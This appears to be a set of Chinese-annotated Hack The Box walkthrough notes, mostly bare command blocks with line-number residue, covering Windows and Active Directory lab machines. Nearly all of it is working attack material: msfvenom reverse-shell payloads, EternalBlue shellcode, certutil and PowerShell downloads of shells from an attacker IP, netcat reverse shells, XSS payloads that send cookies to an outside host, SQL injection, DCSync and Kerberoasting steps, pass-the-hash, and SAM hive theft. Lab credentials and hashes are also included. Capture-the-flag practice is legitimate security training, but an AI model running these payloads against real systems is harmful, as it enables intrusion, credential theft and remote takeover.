1
 2
 3
 4
 5
 6
 7
 8
 9
10

python2 -m pip install --upgrade setuptools wheel
python2 -m pip install pyasn1 pycryptodomex ldap3
python2 -m pip install pyOpenSSL==20.0.1
python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3
python2 -m pip install impacket --no-deps --ignore-installed

#如果上面的最后一步无法安装就运行下面的
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python2 setup.py install

1
2
3
4
5
6
7
8

nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin
msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

1
2
3
4
5
6
7
8

nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

1
2

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe

1
2

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > ft.jsp
jar cvf ft.war ft.jsp

1
2
3
4
5
6

# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

: PSK "Dudecake1!"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# ipsec.conf - strongSwan IPsec configuration file

# basic configuration
config setup
    charondebug="all"
    uniqueids=yes
    strictcrlpolicy=no

conn test
    authby=secret
    auto=add
    ike=3des-sha1-modp1024!
    esp=3des-sha1!
    type=transport
    keyexchange=ikev1
    left=10.10.16.3
    right=10.10.10.116
    rightsubnet=10.10.10.116[tcp]

1
2

certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe
certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe

1
2
3
4
5
6
7

#创建反弹shell的bat文件 nc64改成绝对路径
echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 > shell.bat
# https://github.com/ohpe/juicy-potato/tree/master/CLSID 找对应的CLSID
# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list 我找的是最下面的一个
# -l 随便找一个没占用的端口就行
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
nc -lvnp 5555

1
2
3

这两条是收集的方法 具体参数需要查询
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base

1

nmap -n -sV -sU --script "ldap* and not brute" -p 389 10.10.10.161

1

ldapsearch -x -H ldap://10.10.10.161:389 -s base

1

ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local

1

ldapsearch -H ldap://10.10.10.161:389 -x  -b dc=htb,dc=local "(objectClass=person)" "*" +

1

ldapsearch -H ldap://10.10.10.161:389 -x  -b dc=htb,dc=local "(objectCategory=person)" | grep sAMAccountName

1
2

GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt
GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt

1

hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt

1

svc-alfresco:s3rvice

1

crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice

1

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

1
2

python D:\python3.9\Scripts\smbserver.py win10 . -smb2support
copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver

1
2
3

net group "Exchange Trusted Subsystem" svc-alfresco /add /domain
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync -Verbose

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

1.创建一个域账户 #我们目前是有这个权限的
net user testuser1 password /add /domain

2.给他加入Exchange Trusted Subsystem组 这个也没问题
net group "Exchange Trusted Subsystem" testuser1 /add /domain

3.关键在这一步 用ACL给他加一个DCSync权限
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\testuser1', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testuser1 -Rights DCSync

这里的操作是用testuser1给自己加上DCSync权限 我刚刚可能失败的原因是因为我给服务账户本身加权
这种方式在windows里可能不允许 也可能是我需要注销或者重新登录？ 但是我明明用了很多winrm服务
而这一步我在很多博客里都没看到 基本上就是
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync
并且我尝试就用svc-alfresco这个账户 然后使用Add-DomainObjectAcl给testuser1加权 直接报错

1
2

aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
PsExec.exe [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

1
2

<script>location.href="http://10.10.16.29:33333/cookie.php?cookie="+document.cookie</script>
ncat -lvnp 33333

1
2
3
4
5
6

<script src="http://10.10.16.29:33333/1.js"></script>
<script>
document.write('<img src="http://10.10.16.29:33333/2.js">');
</script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>

1

<script>newImage().src="http://10.10.16.29:33333/cookie1.php?cookie="%2bdocument.cookie;</script>

1

username=admin; password=Hopelessromantic; id=1

1

-1' UNION SELECT 1,2,3 --+

1

-1' UNION SELECT 1,@@global.secure_file_priv,3 --+

1
2

-1';create user 'test'@'localhost' identified by '123456';--+
-1';grant all privileges on *.* to 'test'@'%' identified by '123456' with grant option;--+

1
2
3

create table test(cmd text);
insert into test(cmd) values (load_file('C:\TODO\htdocs\notes.txt'));
update test set cmd=(load_file('C:\Windows\my.ini'));

1

update test set cmd=(load_file('C:/xampp/htdocs/user/transfer.php'));

1
2

update test set cmd=(load_file('C:/TODO/htdocs/user/transfer.php'));
update test set cmd=(load_file('C:/TODO/user/transfer.php'));

1

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666

1
2
3
4
5

var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Cookie","id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D");
httpRequest.send('cmd=dir | powershell -c "Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe" -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe');

1
2
3
4
5
6
7
8
9

[common]
server_addr = 10.10.16.29
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 910
remote_port = 6000

1
2

[common]
bind_port = 7000

1
2
3
4
5
6

#!/bin/bash
for i in {0000..9999}
do
   echo $i
   echo $i | nc 127.0.0.1 6000
done

1
2

测试完发现32个字符刚好就能覆盖完 26个字母大小写 刚好能覆盖52个位置 其实能更快
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe

1
2
3
4

三个都没有匿名登录
smbmap -H 10.10.10.97
smbclient -N -L //10.10.10.97
enum4linux -a 10.10.10.97

1
2
3
4
5
6
7

<script src="http://10.10.16.29:33333/1.js"></script>
<script> document.write('<img src="http://10.10.16.29:33333/2.js">'); </script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>
certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess

很明显 他把certutil执行了

1

certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe

1

http://10.10.10.97/change_pass.php?password=password1&confirm_password=password1&submit=submit

1

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

1
2
3
4
5
6
7

server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'secnotes');
define('DB_PASSWORD', 'q8N#9Eos%JinE57tke72');
//define('DB_USERNAME', 'root');
//define('DB_PASSWORD', 'qwer1234QWER!@#$');
define('DB_NAME', 'secnotes');

1

mysql -h 127.0.0.1 -P 6000 -u secnotes -p'q8N#9Eos%JinE57tke72'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

AppxBlockMap.xml
AppxManifest.xml
AppxMetadata
AppxSignature.p7x
Assets
images
install.tar.gz
resources.pri
temp
ubuntu.exe
[Content_Types].xml

1
2
3
4
5
6
7
8

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者，探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

1
2

/opt/impacket/build/scripts-3.12/psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
/opt/impacket/build/scripts-3.12/smbexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

1

smbclient -N //10.10.10.134/Backups

1
2
3
4
5
6

apt-get install libguestfs-tools
apt-get install cifs-utils
mkdir /mnt/remote
mkdir /mnt/vhd
mount -t cifs //10.10.10.134/backups /mnt/remote -o rw
guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/'Backup 2019-02-22 124351'/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v

1
2
3
4
5
6

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...

1

aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

smbserver.py kali .
copy .\confCons.xml \\10.10.16.29\kali\confCons.xml
python mremoteng_decrypt.py confCons.xml

result:
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2

Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 先切换出挂载目录
cd /

# 检查进程
lsof | grep '/mnt/vhd'
fuser -mv /mnt/vhd

# 结束相关进程
kill <pid>  # 或 kill -9 <pid> 强制结束

# 卸载VHD
guestunmount /mnt/vhd
# 如果不行，尝试：
fusermount -u /mnt/vhd

# 卸载CIFS共享
umount /mnt/remote
# 如果提示busy，可以用：
umount -l /mnt/remote  # 懒惰卸载
# 或
umount -f /mnt/remote  # 强制卸载

# 最后删除挂载点
rmdir /mnt/vhd
rmdir /mnt/remote

1
2
3

# 这个可以上传
curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe
PHP Ivan Sincek 也可以反弹shell

1
2

# 根据他的提示不使用CMD 其实就是在后面加个LHOST=10.10.16.2 LPORT=3334就行
msfvenom -a x86 -p windows/shell_reverse_tcp -b '\x00\x0A\x0D' -f python LHOST=10.10.16.2 LPORT=3334

1
2
3
4
5
6
7
8
9

nathan

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

1

curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe

1

password = ew2x6SsGTxjRwXOT

1
2
3
4
5

# 其实加个-k就行了
curl -k https://localhost:8443/index.html
# 我当时没有加文件 所以他的重定向我没有收到 我就以为为空
# 这里加参数-L 就能跟随
curl -k https://localhost:8443/ -L

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length)
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor()
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

1
2

active.htb\SVC_TGS
GPPstillStandingStrong2k18

1
2

GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request
python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18

1

ntpdate -u active.htb && date

1

hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt

1

Ticketmaster1968

1

showmount -e 10.10.10.180

1
2

mkdir ./site_backups
mount -t nfs 10.10.10.180:/site_backups ./site_backups

1
2
3

find ./ -name *.html
find ./ -name *.aspx
find ./ -name *.asp

1

admin:baconandcheese

1

python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c ipconfig

1
2

python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe'
python exploit.py -u [email protected] -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command start \\users\\Public\\shell.exe'

1
2

curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe
PrintSpoofer64.exe -i -c cmd

1

fuse.fabricorp.local. hostmaster.fabricorp.local

1
2
3
4
5

enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

1
2
3
4
5

Domain Name: FABRICORP
Domain Sid: S-1-5-21-2633719317-1471316042-3957863514

SMB         fabricorp.local 445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         fabricorp.local 445    FUSE             [+] fabricorp.local\:

1
2

dnsenum fabricorp.local --dnsserver 10.10.10.193
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H "Host: FUZZ.fabricorp.local"  --hh 103

1
2
3
4
5

pmerton
tlavel
sthompson
bhult
administrator

1
2
3
4

cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm
cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm

1
2

cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
crackmapexec smb fabricorp.local -u user.txt -p wordlist

1
2
3

# 拿到了两个账密 但都提示STATUS_PASSWORD_MUST_CHANGE 密码需要更改
fabricorp.local\bhult:Fabricorp01
fabricorp.local\tlavel:Fabricorp01

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

1

python smbpasswd.py [email protected]

1

bhult:Fabricorp@123

1
2

python smbpasswd.py [email protected]
bhult:Fabricorp@123!@#

1

bhult:2x@oteL8YOJa

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

smbclient -L //10.10.10.193/ -U bhult
Password for [WORKGROUP\bhult]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	HP-MFT01        Printer   HP-MFT01
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	print$          Disk      Printer Drivers
	SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

1
2
3
4

GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

No entries found!

1
2
3
4
5
6

rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193

RPC枚举的字典在后面 可以直接将所有信息筛出来 下面有一个有用的信息
flags:[0x800000]
	name:[\\10.10.10.193\HP-MFT01]
	description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]

1

crackmapexec smb fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

svc-print:$fab@s3Rv1ce$1

1

crackmapexec winrm fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

crackmapexec winrm fabricorp.local -u svc-print -p "\$fab@s3Rv1ce\$1"

1

schtasks /query

1

schtasks /query /tn "Revert Password and Expiry" /fo LIST /v

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

Folder: \
HostName:                             FUSE
TaskName:                             \Revert Password and Expiry
Next Run Time:                        11/30/2024 7:44:00 PM
Status:                               Ready
Logon Mode:                           Interactive only
Last Run Time:                        11/30/2024 7:43:00 PM
Last Result:                          0
Author:                               N/A
Task To Run:                          powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          FABRICORP\Administrator
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        One Time Only, Minute
Start Time:                           12:00:00 AM
Start Date:                           6/10/2020
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        0 Hour(s), 1 Minute(s)
Repeat: Until: Time:                  None
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled

1

schtasks /query /tn "Revert Password and Expiry" /xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <URI>\Revert Password and Expiry</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-21-2633719317-1471316042-3957863514-500</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
  </Settings>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2020-06-10T00:00:00</StartBoundary>
      <Repetition>
        <Interval>PT1M</Interval>
      </Repetition>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch
angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;</Arguments>
    </Exec>
  </Actions>
</Task>

1
2

rpcclient -U "" -N 10.10.10.204
Cannot connect to server.  Error was NT_STATUS_IO_TIMEOUT

1
2
3
4
5

HTTP/1.1 401 Unauthorized
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"
Date: Sun, 01 Dec 2024 20:32:22 GMT
Content-Length: 0

1
2
3
4
5

python SirepRAT.py 10.10.10.204  LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 30, payload peek: 'b'C:\\Data\\Users\\DefaultAccount\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

1

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " dir C:\\Data\\Users\\DefaultAccount\\" --v

1
2

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe"
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe" --v

1
2
3
4

smbserver.py kali . -smb2support
C:\Data\Windows\System32\config>copy .\SAM \\10.10.16.2\kali\SAM
C:\Data\Windows\System32\config>copy .\SYSTEM \\10.10.16.2\kali\SYSTEM
C:\Data\Windows\System32\config>copy .\SECURITY \\10.10.16.2\kali\SECURITY

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat

@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe

1
2

$creds = Import-Clixml -Path C:\data\users\administrator\root.txt
$creds.GetNetworkCredential().password

1
2
3
4
5
6
7

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv

smbserver.py kali . -smb2support

copy .\sam.hiv \\10.10.16.14\kali\sam.hiv
copy .\system.hiv \\10.10.16.14\kali\system.hiv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...

1

app:mesh5143

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe

1
2

$creds = Import-Clixml -Path C:\Data\Users\app\user.txt
$creds.GetNetworkCredential().password

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

